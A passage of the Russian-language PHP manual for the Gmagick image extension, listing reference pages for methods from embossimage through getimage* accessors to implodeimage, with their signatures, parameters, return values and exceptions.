  • Возвращает изображение в градациях серого с трёхмерным эффектом

Gmagick::embossimage

(PECL gmagick >= Unknown)

Gmagick::embossimage — Возвращает изображение в градациях серого с трёхмерным эффектом

Описание

public Gmagick::embossimage(float $radius, float $sigma): Gmagick

Возвращает изображение в градациях серого с трёхмерным эффектом. Мы сворачиваем изображение с помощью гауссовского оператора, заданного радиуса и стандартного отклонения (сигма). Для получения разумных результатов радиус должен быть больше сигмы. При использовании радиуса 0, подходящий радиус выберется автоматически.

Список параметров

radius

Радиус эффекта.

sigma

Сигма эффекта.

Возвращаемые значения

Рельефный объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Улучшает качество изображения с шумом

  • « Gmagick::embossimage
  • Gmagick::equalizeimage »
  • PHP Manual
  • Gmagick
  • Улучшает качество изображения с шумом

Gmagick::enhanceimage

(PECL gmagick >= Unknown)

Gmagick::enhanceimage — Улучшает качество изображения с шумом

Описание

public Gmagick::enhanceimage(): Gmagick

Применяет цифровой фильтр, который улучшает качество изображения с шумом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Улучшенный объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Выравнивает гистограмму изображения

  • « Gmagick::enhanceimage
  • Gmagick::flipimage »
  • PHP Manual
  • Gmagick
  • Выравнивает гистограмму изображения

Gmagick::equalizeimage

(PECL gmagick >= Unknown)

Gmagick::equalizeimage — Выравнивает гистограмму изображения

Описание

public Gmagick::equalizeimage(): Gmagick

Выравнивает гистограмму изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Выравненный объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт вертикальное зеркальное отображение

  • « Gmagick::equalizeimage
  • Gmagick::flopimage »
  • PHP Manual
  • Gmagick
  • Создаёт вертикальное зеркальное отображение

Gmagick::flipimage

(PECL gmagick >= Unknown)

Gmagick::flipimage — Создаёт вертикальное зеркальное отображение

Описание

public Gmagick::flipimage(): Gmagick

Создаёт вертикальное зеркальное отображение путём отражения пикселей вокруг центральной оси X.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Перевёрнутый объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

Смотрите также

  • Gmagick::flopimage() - Создаёт горизонтальное зеркальное отображение

User Contributed Notes

There are no user contributed notes for this page.


Создаёт горизонтальное зеркальное отображение

  • « Gmagick::flipimage
  • Gmagick::frameimage »
  • PHP Manual
  • Gmagick
  • Создаёт горизонтальное зеркальное отображение

Gmagick::flopimage

(PECL gmagick >= Unknown)

Gmagick::flopimage — Создаёт горизонтальное зеркальное отображение

Описание

public Gmagick::flopimage(): Gmagick

Создаёт горизонтальное зеркальное изображение, отражая пиксели вокруг центральной оси Y.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Отражённый объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

Смотрите также

  • Gmagick::flipimage() - Создаёт вертикальное зеркальное отображение

User Contributed Notes

There are no user contributed notes for this page.


Добавляет смоделированную трёхмерную границу

  • « Gmagick::flopimage
  • Gmagick::gammaimage »
  • PHP Manual
  • Gmagick
  • Добавляет смоделированную трёхмерную границу

Gmagick::frameimage

(PECL gmagick >= Unknown)

Gmagick::frameimage — Добавляет смоделированную трёхмерную границу

Описание

public Gmagick::frameimage(
GmagickPixel $color,
int $width,
int $height,
int $inner_bevel,
int $outer_bevel
): Gmagick

Добавляет смоделированную трёхмерную рамку вокруг изображения. Ширина и высота определяют ширину границы вертикальной и горизонтальной сторон рамки. Внутренний и внешний скосы указывают ширину внутренней и внешней теней рамки.

Список параметров

color

Объект GmagickPixel или число с плавающей точкой, представляющее матовый цвет.

width

Ширина границы.

height

Высота границы.

inner_bevel

Внутренняя ширина скоса.

outer_bevel

Внешняя ширина скоса.

Возвращаемые значения

Обрамлённый объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Гамма-коррекция изображения

  • « Gmagick::frameimage
  • Gmagick::getcopyright »
  • PHP Manual
  • Gmagick
  • Гамма-коррекция изображения

Gmagick::gammaimage

(PECL gmagick >= Unknown)

Gmagick::gammaimage — Гамма-коррекция изображения

Описание

public Gmagick::gammaimage(float $gamma): Gmagick

Гамма-коррекция изображения. Одно и то же изображение, просматриваемое на разных устройствах, будет иметь перцепционные различия в способах представления интенсивности изображения на экране. Укажите индивидуальные уровни гаммы для красного, зелёного и синего каналов или отрегулируйте все три с помощью параметра гаммы. Значения обычно колеблются от 0,8 до 2,3.

Список параметров

gamma

Количество гамма-коррекции.

Возвращаемые значения

Гамма-скорректированный объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает копирайт GraphicsMagick API в виде строки

  • « Gmagick::gammaimage
  • Gmagick::getfilename »
  • PHP Manual
  • Gmagick
  • Возвращает копирайт GraphicsMagick API в виде строки

Gmagick::getcopyright

(PECL gmagick >= Unknown)

Gmagick::getcopyright — Возвращает копирайт GraphicsMagick API в виде строки

Описание

public Gmagick::getcopyright(): string

Возвращает копирайт GraphicsMagick API в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает копирайт GraphicsMagick API и Magickwand C в виде строки.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя файла связанного с последовательностью изображений

  • « Gmagick::getcopyright
  • Gmagick::getimagebackgroundcolor »
  • PHP Manual
  • Gmagick
  • Возвращает имя файла связанного с последовательностью изображений

Gmagick::getfilename

(PECL gmagick >= Unknown)

Gmagick::getfilename — Возвращает имя файла связанного с последовательностью изображений

Описание

public Gmagick::getfilename(): string

Возвращает имя файла связанного с последовательностью изображений.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя файла.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет фона изображения

  • « Gmagick::getfilename
  • Gmagick::getimageblueprimary »
  • PHP Manual
  • Gmagick
  • Возвращает цвет фона изображения

Gmagick::getimagebackgroundcolor

(PECL gmagick >= Unknown)

Gmagick::getimagebackgroundcolor — Возвращает цвет фона изображения

Описание

public Gmagick::getimagebackgroundcolor(): GmagickPixel

Возвращает цвет фона изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает цвет фона изображения в виде объекта GmagickPixel.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цветность синей первичной точки

  • « Gmagick::getimagebackgroundcolor
  • Gmagick::getimagebordercolor »
  • PHP Manual
  • Gmagick
  • Возвращает цветность синей первичной точки

Gmagick::getimageblueprimary

(PECL gmagick >= Unknown)

Gmagick::getimageblueprimary — Возвращает цветность синей первичной точки

Описание

public Gmagick::getimageblueprimary(): array

Возвращает цветность синей первичной точки для изображения.

Список параметров

x

Цветность синей первичной точки по х-координате.

y

Цветность синей первичной точки по y-координате.

Возвращаемые значения

Массив, состоящий из "x" и "y" координат точки.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет границы изображения

  • « Gmagick::getimageblueprimary
  • Gmagick::getimagechanneldepth »
  • PHP Manual
  • Gmagick
  • Возвращает цвет границы изображения

Gmagick::getimagebordercolor

(PECL gmagick >= Unknown)

Gmagick::getimagebordercolor — Возвращает цвет границы изображения

Описание

public Gmagick::getimagebordercolor(): GmagickPixel

Возвращает цвет границы изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект GmagickPixel, представляющий цвет границы

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает глубину для определённого канала изображения

  • « Gmagick::getimagebordercolor
  • Gmagick::getimagecolors »
  • PHP Manual
  • Gmagick
  • Получает глубину для определённого канала изображения

Gmagick::getimagechanneldepth

(PECL gmagick >= Unknown)

Gmagick::getimagechanneldepth — Получает глубину для определённого канала изображения

Описание

public Gmagick::getimagechanneldepth(int $channel_type): int

Получает глубину для определённого канала изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Глубина канала изображения

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет указанного индекса карты цветов

  • « Gmagick::getimagechanneldepth
  • Gmagick::getimagecolorspace »
  • PHP Manual
  • Gmagick
  • Возвращает цвет указанного индекса карты цветов

Gmagick::getimagecolors

(PECL gmagick >= Unknown)

Gmagick::getimagecolors — Возвращает цвет указанного индекса карты цветов

Описание

public Gmagick::getimagecolors(): int

Возвращает цвет указанного индекса карты цветов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество цветов в изображении.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цветовое пространство изображения

  • « Gmagick::getimagecolors
  • Gmagick::getimagecompose »
  • PHP Manual
  • Gmagick
  • Возвращает цветовое пространство изображения

Gmagick::getimagecolorspace

(PECL gmagick >= Unknown)

Gmagick::getimagecolorspace — Возвращает цветовое пространство изображения

Описание

public Gmagick::getimagecolorspace(): int

Возвращает цветовое пространство изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Цветовое пространство.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает составной оператор, связанный с изображением

  • « Gmagick::getimagecolorspace
  • Gmagick::getimagedelay »
  • PHP Manual
  • Gmagick
  • Возвращает составной оператор, связанный с изображением

Gmagick::getimagecompose

(PECL gmagick >= Unknown)

Gmagick::getimagecompose — Возвращает составной оператор, связанный с изображением

Описание

public Gmagick::getimagecompose(): int

Возвращает составной оператор, связанный с изображением.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает составной оператор, связанный с изображением.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает задержку изображения

  • « Gmagick::getimagecompose
  • Gmagick::getimagedepth »
  • PHP Manual
  • Gmagick
  • Получает задержку изображения

Gmagick::getimagedelay

(PECL gmagick >= Unknown)

Gmagick::getimagedelay — Получает задержку изображения

Описание

public Gmagick::getimagedelay(): int

Получает задержку изображения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает составной оператор, связанный с изображением.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает глубину изображения

  • « Gmagick::getimagedelay
  • Gmagick::getimagedispose »
  • PHP Manual
  • Gmagick
  • Получает глубину изображения

Gmagick::getimagedepth

(PECL gmagick >= Unknown)

Gmagick::getimagedepth — Получает глубину изображения

Описание

public Gmagick::getimagedepth(): int

Получает глубину изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Глубина изображения

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает метод удаления изображения

  • « Gmagick::getimagedepth
  • Gmagick::getimageextrema »
  • PHP Manual
  • Gmagick
  • Получает метод удаления изображения

Gmagick::getimagedispose

(PECL gmagick >= Unknown)

Gmagick::getimagedispose — Получает метод удаления изображения

Описание

public Gmagick::getimagedispose(): int

Получает метод удаления изображения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает метод удаления изображения в случае успешного выполнения

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает экстремумы для изображения

  • « Gmagick::getimagedispose
  • Gmagick::getimagefilename »
  • PHP Manual
  • Gmagick
  • Получает экстремумы для изображения

Gmagick::getimageextrema

(PECL gmagick >= Unknown)

Gmagick::getimageextrema — Получает экстремумы для изображения

Описание

public Gmagick::getimageextrema(): array

Возвращает ассоциативный массив с ключами "min" и "max". Вызывает GmagickException в случае возникновения ошибки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив с ключами "min" и "max".

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя файла конкретного изображения в последовательности

  • « Gmagick::getimageextrema
  • Gmagick::getimageformat »
  • PHP Manual
  • Gmagick
  • Возвращает имя файла конкретного изображения в последовательности

Gmagick::getimagefilename

(PECL gmagick >= Unknown)

Gmagick::getimagefilename — Возвращает имя файла конкретного изображения в последовательности

Описание

public Gmagick::getimagefilename(): string

Возвращает имя файла конкретного изображения в последовательности

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя файла конкретного изображения

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает формат конкретного изображения в последовательности

  • « Gmagick::getimagefilename
  • Gmagick::getimagegamma »
  • PHP Manual
  • Gmagick
  • Возвращает формат конкретного изображения в последовательности

Gmagick::getimageformat

(PECL gmagick >= Unknown)

Gmagick::getimageformat — Возвращает формат конкретного изображения в последовательности

Описание

public Gmagick::getimageformat(): string

Возвращает формат конкретного изображения в последовательности.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает формат изображения в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает гамму изображения

  • « Gmagick::getimageformat
  • Gmagick::getimagegreenprimary »
  • PHP Manual
  • Gmagick
  • Возвращает гамму изображения

Gmagick::getimagegamma

(PECL gmagick >= Unknown)

Gmagick::getimagegamma — Возвращает гамму изображения

Описание

public Gmagick::getimagegamma(): float

Возвращает гамму изображения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает гамму изображения в случае успешного выполнения

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает первичную зелёную точку

  • « Gmagick::getimagegamma
  • Gmagick::getimageheight »
  • PHP Manual
  • Gmagick
  • Возвращает первичную зелёную точку

Gmagick::getimagegreenprimary

(PECL gmagick >= Unknown)

Gmagick::getimagegreenprimary — Возвращает первичную зелёную точку

Описание

public Gmagick::getimagegreenprimary(): array

Возвращает первичную зелёную точку в виде массива с ключами "x" и "y".

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив с ключами "x" и "y" в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает высоту изображения

  • « Gmagick::getimagegreenprimary
  • Gmagick::getimagehistogram »
  • PHP Manual
  • Gmagick
  • Возвращает высоту изображения

Gmagick::getimageheight

(PECL gmagick >= Unknown)

Gmagick::getimageheight — Возвращает высоту изображения

Описание

public Gmagick::getimageheight(): int

Возвращает высоту изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает высоту изображения в пикселях.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает гистограмму изображения

  • « Gmagick::getimageheight
  • Gmagick::getimageindex »
  • PHP Manual
  • Gmagick
  • Возвращает гистограмму изображения

Gmagick::getimagehistogram

(PECL gmagick >= Unknown)

Gmagick::getimagehistogram — Возвращает гистограмму изображения

Описание

public Gmagick::getimagehistogram(): array

Возвращает гистограмму изображения в виде массива объектов GmagickPixel. В случае возникновения ошибки выбрасывает исключение GmagickException.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает гистограмму изображения в виде массива объектов GmagickPixel.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает индекс текущего активного изображения

  • « Gmagick::getimagehistogram
  • Gmagick::getimageinterlacescheme »
  • PHP Manual
  • Gmagick
  • Возвращает индекс текущего активного изображения

Gmagick::getimageindex

(PECL gmagick >= Unknown)

Gmagick::getimageindex — Возвращает индекс текущего активного изображения

Описание

public Gmagick::getimageindex(): int

Возвращает индекс текущего активного изображения в объекте Gmagick.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает индекс текущего активного изображения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает схему чередования изображений

  • « Gmagick::getimageindex
  • Gmagick::getimageiterations »
  • PHP Manual
  • Gmagick
  • Получает схему чередования изображений

Gmagick::getimageinterlacescheme

(PECL gmagick >= Unknown)

Gmagick::getimageinterlacescheme — Получает схему чередования изображений

Описание

public Gmagick::getimageinterlacescheme(): int

Получает схему чередования изображений.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает схему чередования как целое число в случае успешного выполнения

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает итерации изображения

  • « Gmagick::getimageinterlacescheme
  • Gmagick::getimagematte »
  • PHP Manual
  • Gmagick
  • Получает итерации изображения

Gmagick::getimageiterations

(PECL gmagick >= Unknown)

Gmagick::getimageiterations — Получает итерации изображения

Описание

public Gmagick::getimageiterations(): int

Получает итерации изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает итерации изображения в виде целого числа.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, есть ли на изображении матовый канал

  • « Gmagick::getimageiterations
  • Gmagick::getimagemattecolor »
  • PHP Manual
  • Gmagick
  • Проверяет, есть ли на изображении матовый канал

Gmagick::getimagematte

(PECL gmagick >= Unknown)

Gmagick::getimagematte — Проверяет, есть ли на изображении матовый канал

Описание

public Gmagick::getimagematte(): int

Возвращает true, если у изображения есть матовый канал, в противном случае возвращает false.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если у изображения есть матовый канал, в противном случае возвращает false.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает изображение матового цвета

  • « Gmagick::getimagematte
  • Gmagick::getimageprofile »
  • PHP Manual
  • Gmagick
  • Возвращает изображение матового цвета

Gmagick::getimagemattecolor

(PECL gmagick >= Unknown)

Gmagick::getimagemattecolor — Возвращает изображение матового цвета

Описание

public Gmagick::getimagemattecolor(): GmagickPixel

Возвращает объект GmagickPixel в случае успешного выполнения. Выбрасывает GmagickException в случае возникновения ошибки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект GmagickPixel в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает именованный профайл изображения

  • « Gmagick::getimagemattecolor
  • Gmagick::getimageredprimary »
  • PHP Manual
  • Gmagick
  • Возвращает именованный профайл изображения

Gmagick::getimageprofile

(PECL gmagick >= Unknown)

Gmagick::getimageprofile — Возвращает именованный профайл изображения

Описание

public Gmagick::getimageprofile(string $name): string

Возвращает именованный профайл изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает именованный профайл изображения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает первичную красную точку

  • « Gmagick::getimageprofile
  • Gmagick::getimagerenderingintent »
  • PHP Manual
  • Gmagick
  • Возвращает первичную красную точку

Gmagick::getimageredprimary

(PECL gmagick >= Unknown)

Gmagick::getimageredprimary — Возвращает первичную красную точку

Описание

public Gmagick::getimageredprimary(): array

Возвращает первичную красную точку в виде массива с ключами "x" и "y".

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает первичную красную точку в виде массива с ключами "x" и "y".

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает цель рендеринга изображения

  • « Gmagick::getimageredprimary
  • Gmagick::getimageresolution »
  • PHP Manual
  • Gmagick
  • Получает цель рендеринга изображения

Gmagick::getimagerenderingintent

(PECL gmagick >= Unknown)

Gmagick::getimagerenderingintent — Получает цель рендеринга изображения

Описание

public Gmagick::getimagerenderingintent(): int

Получает цель рендеринга изображения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Извлекает область изображения и возвращает её как новую палочку

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает разрешение изображения

  • « Gmagick::getimagerenderingintent
  • Gmagick::getimagescene »
  • PHP Manual
  • Gmagick
  • Возвращает разрешение изображения

Gmagick::getimageresolution

(PECL gmagick >= Unknown)

Gmagick::getimageresolution — Возвращает разрешение изображения

Описание

public Gmagick::getimageresolution(): array

Возвращает разрешение изображения в виде массива.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает разрешение изображения в виде массива.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

Clive Walkden 20-Jun-2013 09:17
The array returned is in the format

Array
(
    [x] => 300
    [y] => 300
)


Получает сцену изображения

  • « Gmagick::getimageresolution
  • Gmagick::getimagesignature »
  • PHP Manual
  • Gmagick
  • Получает сцену изображения

Gmagick::getimagescene

(PECL gmagick >= Unknown)

Gmagick::getimagescene — Получает сцену изображения

Описание

public Gmagick::getimagescene(): int

Получает сцену изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сцену изображения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт подпись сообщения SHA-256

  • « Gmagick::getimagescene
  • Gmagick::getimagetype »
  • PHP Manual
  • Gmagick
  • Создаёт подпись сообщения SHA-256

Gmagick::getimagesignature

(PECL gmagick >= Unknown)

Gmagick::getimagesignature — Создаёт подпись сообщения SHA-256

Описание

public Gmagick::getimagesignature(): string

Создаёт подпись сообщения SHA-256 для потока пикселей изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, содержащую хеш SHA-256 файла.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает потенциальный тип изображения

  • « Gmagick::getimagesignature
  • Gmagick::getimageunits »
  • PHP Manual
  • Gmagick
  • Возвращает потенциальный тип изображения

Gmagick::getimagetype

(PECL gmagick >= Unknown)

Gmagick::getimagetype — Возвращает потенциальный тип изображения

Описание

public Gmagick::getimagetype(): int

Возвращает потенциальный тип изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает потенциальный тип изображения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает единицы разрешения изображения

  • « Gmagick::getimagetype
  • Gmagick::getimagewhitepoint »
  • PHP Manual
  • Gmagick
  • Возвращает единицы разрешения изображения

Gmagick::getimageunits

(PECL gmagick >= Unknown)

Gmagick::getimageunits — Возвращает единицы разрешения изображения

Описание

public Gmagick::getimageunits(): int

Возвращает единицы разрешения изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает единицы разрешения изображения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает хроматическую белую точку

  • « Gmagick::getimageunits
  • Gmagick::getimagewidth »
  • PHP Manual
  • Gmagick
  • Возвращает хроматическую белую точку

Gmagick::getimagewhitepoint

(PECL gmagick >= Unknown)

Gmagick::getimagewhitepoint — Возвращает хроматическую белую точку

Описание

public Gmagick::getimagewhitepoint(): array

Возвращает хроматическую белую точку в виде ассоциативного массива с ключами "x" и "y".

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает хроматическую белую точку в виде ассоциативного массива с ключами "x" и "y".

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ширину изображения

  • « Gmagick::getimagewhitepoint
  • Gmagick::getpackagename »
  • PHP Manual
  • Gmagick
  • Возвращает ширину изображения

Gmagick::getimagewidth

(PECL gmagick >= Unknown)

Gmagick::getimagewidth — Возвращает ширину изображения

Описание

public Gmagick::getimagewidth(): int

Возвращает ширину изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ширину изображения в пикселях.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя пакета GraphicsMagick

  • « Gmagick::getimagewidth
  • Gmagick::getquantumdepth »
  • PHP Manual
  • Gmagick
  • Возвращает имя пакета GraphicsMagick

Gmagick::getpackagename

(PECL gmagick >= Unknown)

Gmagick::getpackagename — Возвращает имя пакета GraphicsMagick

Описание

public Gmagick::getpackagename(): string

Возвращает имя пакета GraphicsMagick.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя пакета GraphicsMagick в виде строки.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает глубину цвета (бит на канал) объекта Gmagick в виде строки

  • « Gmagick::getpackagename
  • Gmagick::getreleasedate »
  • PHP Manual
  • Gmagick
  • Возвращает глубину цвета (бит на канал) объекта Gmagick в виде строки

Gmagick::getquantumdepth

(PECL gmagick >= Unknown)

Gmagick::getquantumdepth — Возвращает глубину цвета (бит на канал) объекта Gmagick в виде строки

Описание

public Gmagick::getquantumdepth(): array

Возвращает глубину цвета (бит на канал) объекта Gmagick в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает глубину цвета (бит на канал) объекта Gmagick в виде строки.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает дату релиза GraphicsMagick в виде строки

  • « Gmagick::getquantumdepth
  • Gmagick::getsamplingfactors »
  • PHP Manual
  • Gmagick
  • Возвращает дату релиза GraphicsMagick в виде строки

Gmagick::getreleasedate

(PECL gmagick >= Unknown)

Gmagick::getreleasedate — Возвращает дату релиза GraphicsMagick в виде строки

Описание

public Gmagick::getreleasedate(): string

Возвращает дату релиза GraphicsMagick в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает дату релиза GraphicsMagick в виде строки.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает вертикальный и горизонтальный фактор дискретизации

  • « Gmagick::getreleasedate
  • Gmagick::getsize »
  • PHP Manual
  • Gmagick
  • Возвращает вертикальный и горизонтальный фактор дискретизации

Gmagick::getsamplingfactors

(PECL gmagick >= Unknown)

Gmagick::getsamplingfactors — Возвращает вертикальный и горизонтальный фактор дискретизации

Описание

public Gmagick::getsamplingfactors(): array

Возвращает вертикальный и горизонтальный фактор дискретизации.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает вертикальный и горизонтальный фактор дискретизации изображения в виде ассоциативного массива.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер, связанный с объектом Gmagick

  • « Gmagick::getsamplingfactors
  • Gmagick::getversion »
  • PHP Manual
  • Gmagick
  • Возвращает размер, связанный с объектом Gmagick

Gmagick::getsize

(PECL gmagick >= Unknown)

Gmagick::getsize — Возвращает размер, связанный с объектом Gmagick

Описание

public Gmagick::getsize(): array

Возвращает размер, связанный с объектом Gmagick в виде массива с ключами "columns" и "rows".

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает размер, связанный с объектом Gmagick в виде массива с ключами "columns" и "rows".

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию GraphicsMagick API

  • « Gmagick::getsize
  • Gmagick::hasnextimage »
  • PHP Manual
  • Gmagick
  • Возвращает версию GraphicsMagick API

Gmagick::getversion

(PECL gmagick >= Unknown)

Gmagick::getversion — Возвращает версию GraphicsMagick API

Описание

public Gmagick::getversion(): array

Возвращает версию GraphicsMagick API в виде строки и числа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает версию GraphicsMagick API в виде строки и числа.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, есть ли ещё изображения в объекте

  • « Gmagick::getversion
  • Gmagick::haspreviousimage »
  • PHP Manual
  • Gmagick
  • Проверяет, есть ли ещё изображения в объекте

Gmagick::hasnextimage

(PECL gmagick >= Unknown)

Gmagick::hasnextimage — Проверяет, есть ли ещё изображения в объекте

Описание

public Gmagick::hasnextimage(): mixed

Возвращает true, если при итерации вперёд по списку есть изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если при итерации вперёд по списку есть изображения и false, если нет.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, есть ли ещё изображения в объекте при итерации назад

  • « Gmagick::hasnextimage
  • Gmagick::implodeimage »
  • PHP Manual
  • Gmagick
  • Проверяет, есть ли ещё изображения в объекте при итерации назад

Gmagick::haspreviousimage

(PECL gmagick >= Unknown)

Gmagick::haspreviousimage — Проверяет, есть ли ещё изображения в объекте при итерации назад

Описание

public Gmagick::haspreviousimage(): mixed

Возвращает true, если при итерации назад по списку есть изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если при итерации назад по списку есть изображения и false, если нет.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт копию изображения

  • « Gmagick::haspreviousimage
  • Gmagick::labelimage »
  • PHP Manual
  • Gmagick
  • Создаёт копию изображения

Gmagick::implodeimage

(PECL gmagick >= Unknown)

Gmagick::implodeimage — Создаёт копию изображения

Описание

public Gmagick::implodeimage(float $radius): mixed

